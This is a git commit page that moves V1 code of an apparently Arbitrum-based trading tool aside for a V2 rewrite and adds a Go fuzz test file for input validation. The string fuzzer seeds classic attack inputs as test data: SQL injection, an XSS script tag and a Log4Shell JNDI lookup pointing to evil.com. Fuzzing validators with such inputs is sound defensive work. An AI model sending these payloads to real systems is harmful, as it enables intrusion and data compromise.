feat: create v2-prep branch with comprehensive planning
Restructured project for V2 refactor: **Structure Changes:** - Moved all V1 code to orig/ folder (preserved with git mv) - Created docs/planning/ directory - Added orig/README_V1.md explaining V1 preservation **Planning Documents:** - 00_V2_MASTER_PLAN.md: Complete architecture overview - Executive summary of critical V1 issues - High-level component architecture diagrams - 5-phase implementation roadmap - Success metrics and risk mitigation - 07_TASK_BREAKDOWN.md: Atomic task breakdown - 99+ hours of detailed tasks - Every task < 2 hours (atomic) - Clear dependencies and success criteria - Organized by implementation phase **V2 Key Improvements:** - Per-exchange parsers (factory pattern) - Multi-layer strict validation - Multi-index pool cache - Background validation pipeline - Comprehensive observability **Critical Issues Addressed:** - Zero address tokens (strict validation + cache enrichment) - Parsing accuracy (protocol-specific parsers) - No audit trail (background validation channel) - Inefficient lookups (multi-index cache) - Stats disconnection (event-driven metrics) Next Steps: 1. Review planning documents 2. Begin Phase 1: Foundation (P1-001 through P1-010) 3. Implement parsers in Phase 2 4. Build cache system in Phase 3 5. Add validation pipeline in Phase 4 6. Migrate and test in Phase 5 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
267
orig/pkg/security/input_validation_fuzz_test.go
Normal file
267
orig/pkg/security/input_validation_fuzz_test.go
Normal file
@@ -0,0 +1,267 @@
|
||||
package security
|
||||
|
||||
import (
|
||||
"math/big"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/ethereum/go-ethereum/common"
|
||||
"github.com/ethereum/go-ethereum/core/types"
|
||||
)
|
||||
|
||||
// FuzzValidateAddress tests address validation with random inputs
|
||||
func FuzzValidateAddress(f *testing.F) {
|
||||
validator := NewInputValidator(42161) // Arbitrum chain ID
|
||||
|
||||
// Seed corpus with known patterns
|
||||
f.Add("0x0000000000000000000000000000000000000000") // Zero address
|
||||
f.Add("0xa0b86991c431c431c8f4c431c431c431c431c431c") // Valid address
|
||||
f.Add("0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef") // Suspicious pattern
|
||||
f.Add("0x") // Short invalid
|
||||
f.Add("") // Empty
|
||||
f.Add("not_an_address") // Invalid format
|
||||
|
||||
f.Fuzz(func(t *testing.T, addrStr string) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("ValidateAddress panicked with input %q: %v", addrStr, r)
|
||||
}
|
||||
}()
|
||||
|
||||
// Test that validation doesn't crash on any input
|
||||
if common.IsHexAddress(addrStr) {
|
||||
addr := common.HexToAddress(addrStr)
|
||||
result := validator.ValidateAddress(addr)
|
||||
|
||||
// Ensure result is never nil
|
||||
if result == nil {
|
||||
t.Error("ValidateAddress returned nil result")
|
||||
}
|
||||
|
||||
// Validate result structure
|
||||
if len(result.Errors) == 0 && !result.Valid {
|
||||
t.Error("Result marked invalid but no errors provided")
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzValidateString tests string validation with various injection attempts
|
||||
func FuzzValidateString(f *testing.F) {
|
||||
validator := NewInputValidator(42161)
|
||||
|
||||
// Seed with common injection patterns
|
||||
f.Add("'; DROP TABLE users; --")
|
||||
f.Add("<script>alert('xss')</script>")
|
||||
f.Add("${jndi:ldap://evil.com/}")
|
||||
f.Add("\x00\x01\x02\x03\x04")
|
||||
f.Add(strings.Repeat("A", 10000))
|
||||
f.Add("normal_string")
|
||||
|
||||
f.Fuzz(func(t *testing.T, input string) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("ValidateString panicked with input length %d: %v", len(input), r)
|
||||
}
|
||||
}()
|
||||
|
||||
result := validator.ValidateString(input, "test_field", 1000)
|
||||
|
||||
// Ensure validation completes
|
||||
if result == nil {
|
||||
t.Error("ValidateString returned nil result")
|
||||
}
|
||||
|
||||
// Test sanitization
|
||||
sanitized := validator.SanitizeInput(input)
|
||||
|
||||
// Ensure sanitized string doesn't contain null bytes
|
||||
if strings.Contains(sanitized, "\x00") {
|
||||
t.Error("Sanitized string still contains null bytes")
|
||||
}
|
||||
|
||||
// Ensure sanitization doesn't crash
|
||||
if len(sanitized) > len(input)*2 {
|
||||
t.Error("Sanitized string unexpectedly longer than 2x original")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzValidateNumericString tests numeric string validation
|
||||
func FuzzValidateNumericString(f *testing.F) {
|
||||
validator := NewInputValidator(42161)
|
||||
|
||||
// Seed with various numeric patterns
|
||||
f.Add("123.456")
|
||||
f.Add("-123")
|
||||
f.Add("0.000000000000000001")
|
||||
f.Add("999999999999999999999")
|
||||
f.Add("00123")
|
||||
f.Add("123.456.789")
|
||||
f.Add("1e10")
|
||||
f.Add("abc123")
|
||||
|
||||
f.Fuzz(func(t *testing.T, input string) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("ValidateNumericString panicked with input %q: %v", input, r)
|
||||
}
|
||||
}()
|
||||
|
||||
result := validator.ValidateNumericString(input, "test_number")
|
||||
|
||||
if result == nil {
|
||||
t.Error("ValidateNumericString returned nil result")
|
||||
}
|
||||
|
||||
// If marked valid, should actually be parseable as number
|
||||
if result.Valid {
|
||||
if _, ok := new(big.Float).SetString(input); !ok {
|
||||
// Allow some flexibility for our regex vs big.Float parsing
|
||||
if !strings.Contains(input, ".") {
|
||||
if _, ok := new(big.Int).SetString(input, 10); !ok {
|
||||
t.Errorf("String marked as valid numeric but not parseable: %q", input)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzTransactionValidation tests transaction validation with random transaction data
|
||||
func FuzzTransactionValidation(f *testing.F) {
|
||||
validator := NewInputValidator(42161)
|
||||
|
||||
f.Fuzz(func(t *testing.T, nonce, gasLimit uint64, gasPrice, value int64, dataLen uint8) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("Transaction validation panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
// Constrain inputs to reasonable ranges
|
||||
if gasLimit > 50000000 {
|
||||
gasLimit = gasLimit % 50000000
|
||||
}
|
||||
if dataLen > 100 {
|
||||
dataLen = dataLen % 100
|
||||
}
|
||||
|
||||
// Create test transaction
|
||||
data := make([]byte, dataLen)
|
||||
for i := range data {
|
||||
data[i] = byte(i % 256)
|
||||
}
|
||||
|
||||
var gasPriceBig, valueBig *big.Int
|
||||
if gasPrice >= 0 {
|
||||
gasPriceBig = big.NewInt(gasPrice)
|
||||
} else {
|
||||
gasPriceBig = big.NewInt(-gasPrice)
|
||||
}
|
||||
|
||||
if value >= 0 {
|
||||
valueBig = big.NewInt(value)
|
||||
} else {
|
||||
valueBig = big.NewInt(-value)
|
||||
}
|
||||
|
||||
to := common.HexToAddress("0x1234567890123456789012345678901234567890")
|
||||
tx := types.NewTransaction(nonce, to, valueBig, gasLimit, gasPriceBig, data)
|
||||
|
||||
result := validator.ValidateTransaction(tx)
|
||||
|
||||
if result == nil {
|
||||
t.Error("ValidateTransaction returned nil result")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzSwapParamsValidation tests swap parameter validation
|
||||
func FuzzSwapParamsValidation(f *testing.F) {
|
||||
validator := NewInputValidator(42161)
|
||||
|
||||
f.Fuzz(func(t *testing.T, amountIn, amountOut int64, slippage uint16, hoursFromNow int8) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("SwapParams validation panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
// Create test swap parameters
|
||||
params := &SwapParams{
|
||||
TokenIn: common.HexToAddress("0x1111111111111111111111111111111111111111"),
|
||||
TokenOut: common.HexToAddress("0x2222222222222222222222222222222222222222"),
|
||||
AmountIn: big.NewInt(amountIn),
|
||||
AmountOut: big.NewInt(amountOut),
|
||||
Slippage: uint64(slippage),
|
||||
Deadline: time.Now().Add(time.Duration(hoursFromNow) * time.Hour),
|
||||
Recipient: common.HexToAddress("0x3333333333333333333333333333333333333333"),
|
||||
Pool: common.HexToAddress("0x4444444444444444444444444444444444444444"),
|
||||
}
|
||||
|
||||
result := validator.ValidateSwapParams(params)
|
||||
|
||||
if result == nil {
|
||||
t.Error("ValidateSwapParams returned nil result")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzBatchSizeValidation tests batch size validation with various inputs
|
||||
func FuzzBatchSizeValidation(f *testing.F) {
|
||||
validator := NewInputValidator(42161)
|
||||
|
||||
// Seed with known operation types
|
||||
operations := []string{"transaction", "swap", "arbitrage", "query", "unknown"}
|
||||
|
||||
f.Fuzz(func(t *testing.T, size int, opIndex uint8) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("BatchSize validation panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
operation := operations[int(opIndex)%len(operations)]
|
||||
|
||||
result := validator.ValidateBatchSize(size, operation)
|
||||
|
||||
if result == nil {
|
||||
t.Error("ValidateBatchSize returned nil result")
|
||||
}
|
||||
|
||||
// Negative sizes should always be invalid
|
||||
if size <= 0 && result.Valid {
|
||||
t.Errorf("Negative/zero batch size %d marked as valid for operation %s", size, operation)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Removed FuzzABIValidation to avoid circular import - moved to pkg/arbitrum/abi_decoder_fuzz_test.go
|
||||
|
||||
// BenchmarkInputValidation benchmarks validation performance under stress
|
||||
func BenchmarkInputValidation(b *testing.B) {
|
||||
validator := NewInputValidator(42161)
|
||||
|
||||
// Test with various input sizes
|
||||
testInputs := []string{
|
||||
"short",
|
||||
strings.Repeat("medium_length_string_", 10),
|
||||
strings.Repeat("long_string_with_repeating_pattern_", 100),
|
||||
}
|
||||
|
||||
for _, input := range testInputs {
|
||||
b.Run("ValidateString_len_"+string(rune(len(input))), func(b *testing.B) {
|
||||
for i := 0; i < b.N; i++ {
|
||||
validator.ValidateString(input, "test", 10000)
|
||||
}
|
||||
})
|
||||
|
||||
b.Run("SanitizeInput_len_"+string(rune(len(input))), func(b *testing.B) {
|
||||
for i := 0; i < b.N; i++ {
|
||||
validator.SanitizeInput(input)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user